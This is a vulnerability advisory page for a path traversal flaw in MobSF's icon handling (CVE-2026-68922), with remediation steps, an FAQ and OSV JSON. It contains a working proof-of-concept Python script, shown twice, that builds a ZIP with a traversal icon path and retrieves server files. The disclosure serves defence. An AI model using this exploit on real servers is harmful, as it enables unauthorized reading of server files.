CVE-2026-68922: Mobsf Path Traversal Vulnerability

MODERATE
Advisory Identifier: GHSA-8j49-mmcx-4mp5
CVSS 5.5
CWE-22
Published
Advisory Summary

CVE-2026-68922 is a MODERATE (CVSS 5.5) path traversal vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Mobsf libraries in the PyPI ecosystem. The issue involves mobsf vulnerable to arbitrary file read via path traversal in zip uploads. Remediation is available by upgrading affected packages to version 4.5.1.

CVE-2026-68922 at a Glance

CVE Identifier CVE-2026-68922
GHSA Identifier GHSA-8j49-mmcx-4mp5
Severity MODERATE
CVSS v3.1 Base Score 5.5
CWE Classification CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product Mobsf
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 5.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required High (PR:H)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-68922

To remediate this vulnerability, upgrade all affected Mobsf dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

mobsf fixed: 4.5.1
pip install mobsf>=4.5.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show mobsf

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-68922, inspect your installed packages using pip:

pip show mobsf

Analyze the terminal output to locate any version of Mobsf in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.5.1), your application is affected.

Note: The pip show mobsf command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Mobsf, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The `find_icon_path_zip()` function in MobSF does not properly sanitize the `android:icon` attribute extracted from an Android manifest before resolving it as a filesystem path. An attacker can supply a malicious `android:icon` value containing path traversal sequences, causing MobSF to read arbitrary files from the server filesystem and copy them into the downloads directory (`DWD_DIR`). These files can then be retrieved by any authenticated user via the `/download/<filename>` endpoint, provided the file extension is included in `ALLOWED_EXTENSIONS`. ### Details ``` elif icon_path.startswith(('res/', '/res/')): stripped_relative_path = icon_path.strip('/res') # Works for neither /res nor res full_path = os.path.join(res_dir, stripped_relative_path) if os.path.exists(full_path): return full_path full_path += '.png' if os.path.exists(full_path): return full_path ``` https://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/6e875fb77baa9dbe65ff8e7d0344d740e1d6d51e/mobsf/StaticAnalyzer/views/android/icon_analysis.py#L126 This code enables path traversal if a value like 'res/../../../signatures/maltrail-malware-domains.txt' is used as the icon path. This path will resolve to outside the scan directory, and the file will eventually be copied into `DWD_DIR/<md5>-icon.<ext>`: ``` icon_file = find_icon_path_zip( app_dic['md5'], res_path, icon_from_mfst) if icon_file and Path(icon_file).exists(): dwd = Path(settings.DWD_DIR) out = dwd / (app_dic['md5'] + '-icon' + Path(icon_file).suffix) copy2(icon_file, out) app_dic['icon_path'] = out.name ``` https://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/6e875fb77baa9dbe65ff8e7d0344d740e1d6d51e/mobsf/StaticAnalyzer/views/android/icon_analysis.py#L101 Because the output filename is derived from the MD5 hash of the uploaded archive (which the attacker can compute locally for his own ZIP), the attacker can deterministically retrieve the file via: `GET /download/<md5>-icon.<ext>` ### PoC The following script generates a malicious ZIP archive that exploits this issue by referencing an arbitrary file on the server (maltrail-malware-domains.txt): ``` import hashlib import io import zipfile DEFAULT_HOST = "http://localhost:8000" DEFAULT_TARGET = "res/../../../signatures/maltrail-malware-domains.txt" MANIFEST_TEMPLATE = """\ <?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.poc.icontraversal"> <application android:icon="{target}" android:label="PoC App"> <activity android:name=".MainActivity"> <intent-filter> <action android:name="android.intent.action.MAIN"/> <category android:name="android.intent.category.LAUNCHER"/> </intent-filter> </activity> </application> </manifest> """ MAIN_ACTIVITY = """\ package com.poc.icontraversal; import android.app.Activity; public class MainActivity extends Activity {} """ host = DEFAULT_HOST target = DEFAULT_TARGET host = host.rstrip("/") # crate ZIP buf = io.BytesIO() with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as zf: zf.writestr("AndroidManifest.xml", MANIFEST_TEMPLATE.format(target=target)) zf.writestr("src/com/poc/icontraversal/MainActivity.java", MAIN_ACTIVITY) zf.writestr("res/drawable/placeholder.png", b"\x89PNG\r\n\x1a\n") # compute hash zip_bytes = buf.getvalue() md5 = hashlib.md5(zip_bytes).hexdigest() # write to disk out_file = "poc_icon_traversal.zip" with open(out_file, "wb") as f: f.write(zip_bytes) import os target_suffix = os.path.splitext(target.strip("/res").split("/")[-1])[1] download_filename = f"{md5}-icon{target_suffix}" print(f"[+] ZIP created : {os.path.abspath(out_file)}") print(f"[+] Target file : {target}") print() print("[ Step 1 ] Upload the ZIP manually via the MobSF web UI") print() print("[ Step 2 ] Wait for the scan to complete, then browse to:") print(f" {host}/download/{download_filename}") ``` ### Impact This vulnerability allows an attacker with scan permissions to read files from the server filesystem outside the intended scan directory, as long as the target file has an extension in `ALLOWED_EXTENSIONS`. This can expose internal server files that are otherwise inaccessible through any legitimate endpoint. Additionally, this behavior enables a file existence oracle for any file path regardless of extension - the attacker can infer whether a file exists by checking the `icon_path` field in the scan report (if the target does not exist the path will be empty). Depending on the deployment, this may expose sensitive configuration files, internal data, or security artifacts. ### Remediation This can fixed by using the `is_path_traversal` [function](https://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/6e875fb77baa9dbe65ff8e7d0344d740e1d6d51e/mobsf/MobSF/utils.py#L716) to validate user input.

CVE-2026-68922 Affected Mobsf Versions

1 component(s)
Fixed Versions:
4.5.1
Product / Package Ecosystem Affected Versions Fixed Version
mobsf
PyPI
< 4.5.1
4.5.1

References

Frequently Asked Questions

What is CVE-2026-68922?
CVE-2026-68922 is a security vulnerability in Mobsf involving MobSF Vulnerable to Arbitrary File Read via Path Traversal in ZIP Uploads under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which Mobsf versions are affected?
Affected versions include releases prior to 4.5.1 across affected packages: mobsf.
What version fixes CVE-2026-68922?
Upgrading to 4.5.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is mobsf affected?
Yes, mobsf is affected in releases prior to 4.5.1. Upgrade your dependency to 4.5.1 or later.
What is the CVSS score of CVE-2026-68922?
CVE-2026-68922 has a CVSS v3.1 base score of 5.5 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N.
What CWE is associated with CVE-2026-68922?
CVE-2026-68922 is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check PyPI dependencies for CVE-2026-68922?
Run the dependency tree command: 'pip show mobsf'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-8j49-mmcx-4mp5",
  "modified" : "2026-08-18T18:01:26Z",
  "published" : "2026-08-18T18:01:26Z",
  "aliases" : [ "CVE-2026-68922" ],
  "summary" : "MobSF Vulnerable to Arbitrary File Read via Path Traversal in ZIP Uploads",
  "details" : "### Summary\nThe `find_icon_path_zip()` function in MobSF does not properly sanitize the `android:icon` attribute extracted from an Android manifest before resolving it as a filesystem path.\n\nAn attacker can supply a malicious `android:icon` value containing path traversal sequences, causing MobSF to read arbitrary files from the server filesystem and copy them into the downloads directory (`DWD_DIR`). These files can then be retrieved by any authenticated user via the `/download/<filename>` endpoint, provided the file extension is included in `ALLOWED_EXTENSIONS`.\n\n### Details\n```\nelif icon_path.startswith(('res/', '/res/')):\n    stripped_relative_path = icon_path.strip('/res')  # Works for neither /res nor res\n    full_path = os.path.join(res_dir, stripped_relative_path)\n    if os.path.exists(full_path):\n        return full_path\n    full_path += '.png'\n    if os.path.exists(full_path):\n        return full_path\n```\nhttps://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/6e875fb77baa9dbe65ff8e7d0344d740e1d6d51e/mobsf/StaticAnalyzer/views/android/icon_analysis.py#L126\n\nThis code enables path traversal if a value like 'res/../../../signatures/maltrail-malware-domains.txt' is used as the icon path. This path will resolve to outside the scan directory, and the file will eventually be copied into `DWD_DIR/<md5>-icon.<ext>`:\n```\nicon_file = find_icon_path_zip(\n        app_dic['md5'],\n        res_path,\n        icon_from_mfst)\n    if icon_file and Path(icon_file).exists():\n        dwd = Path(settings.DWD_DIR)\n        out = dwd / (app_dic['md5'] + '-icon' + Path(icon_file).suffix)\n        copy2(icon_file, out)\n        app_dic['icon_path'] = out.name\n```\nhttps://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/6e875fb77baa9dbe65ff8e7d0344d740e1d6d51e/mobsf/StaticAnalyzer/views/android/icon_analysis.py#L101\n\nBecause the output filename is derived from the MD5 hash of the uploaded archive (which the attacker can compute locally for his own ZIP), the attacker can deterministically retrieve the file via:\n`GET /download/<md5>-icon.<ext>`\n\n### PoC\nThe following script generates a malicious ZIP archive that exploits this issue by referencing an arbitrary file on the server (maltrail-malware-domains.txt):\n```\nimport hashlib\nimport io\nimport zipfile\n\nDEFAULT_HOST = \"http://localhost:8000\"\nDEFAULT_TARGET = \"res/../../../signatures/maltrail-malware-domains.txt\"\n\nMANIFEST_TEMPLATE = \"\"\"\\\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<manifest xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    package=\"com.poc.icontraversal\">\n    <application android:icon=\"{target}\"\n                 android:label=\"PoC App\">\n        <activity android:name=\".MainActivity\">\n            <intent-filter>\n                <action android:name=\"android.intent.action.MAIN\"/>\n                <category android:name=\"android.intent.category.LAUNCHER\"/>\n            </intent-filter>\n        </activity>\n    </application>\n</manifest>\n\"\"\"\n\nMAIN_ACTIVITY = \"\"\"\\\npackage com.poc.icontraversal;\nimport android.app.Activity;\npublic class MainActivity extends Activity {}\n\"\"\"\n\nhost = DEFAULT_HOST\ntarget = DEFAULT_TARGET\nhost = host.rstrip(\"/\")\n\n# crate ZIP\nbuf = io.BytesIO()\nwith zipfile.ZipFile(buf, \"w\", zipfile.ZIP_DEFLATED) as zf:\n    zf.writestr(\"AndroidManifest.xml\", MANIFEST_TEMPLATE.format(target=target))\n    zf.writestr(\"src/com/poc/icontraversal/MainActivity.java\", MAIN_ACTIVITY)\n    zf.writestr(\"res/drawable/placeholder.png\", b\"\\x89PNG\\r\\n\\x1a\\n\")\n\n# compute hash\nzip_bytes = buf.getvalue()\nmd5 = hashlib.md5(zip_bytes).hexdigest()\n\n# write to disk\nout_file = \"poc_icon_traversal.zip\"\nwith open(out_file, \"wb\") as f:\n    f.write(zip_bytes)\n\nimport os\ntarget_suffix = os.path.splitext(target.strip(\"/res\").split(\"/\")[-1])[1]\ndownload_filename = f\"{md5}-icon{target_suffix}\"\n\nprint(f\"[+] ZIP created : {os.path.abspath(out_file)}\")\nprint(f\"[+] Target file : {target}\")\nprint()\nprint(\"[ Step 1 ] Upload the ZIP manually via the MobSF web UI\")\nprint()\nprint(\"[ Step 2 ] Wait for the scan to complete, then browse to:\")\nprint(f\"    {host}/download/{download_filename}\")\n```\n\n\n### Impact\nThis vulnerability allows an attacker with scan permissions to read files from the server filesystem outside the intended scan directory, as long as the target file has an extension in `ALLOWED_EXTENSIONS`. This can expose internal server files that are otherwise inaccessible through any legitimate endpoint. Additionally, this behavior enables a file existence oracle for any file path regardless of extension - the attacker can infer whether a file exists by checking the `icon_path` field in the scan report (if the target does not exist the path will be empty).\n\nDepending on the deployment, this may expose sensitive configuration files, internal data, or security artifacts.\n\n### Remediation\nThis can fixed by using the `is_path_traversal` [function](https://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/6e875fb77baa9dbe65ff8e7d0344d740e1d6d51e/mobsf/MobSF/utils.py#L716) to validate user input.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "mobsf"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.5.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/MobSF/Mobile-Security-Framework-MobSF/security/advisories/GHSA-8j49-mmcx-4mp5"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/2627"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/MobSF/Mobile-Security-Framework-MobSF/commit/62563ca429a75b3e5d47a13b958e1d2e7d5e2bbf"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/MobSF/Mobile-Security-Framework-MobSF"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/MobSF/Mobile-Security-Framework-MobSF/releases/tag/v4.5.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-18T18:01:26Z",
    "nvd_published_at" : null
  }
}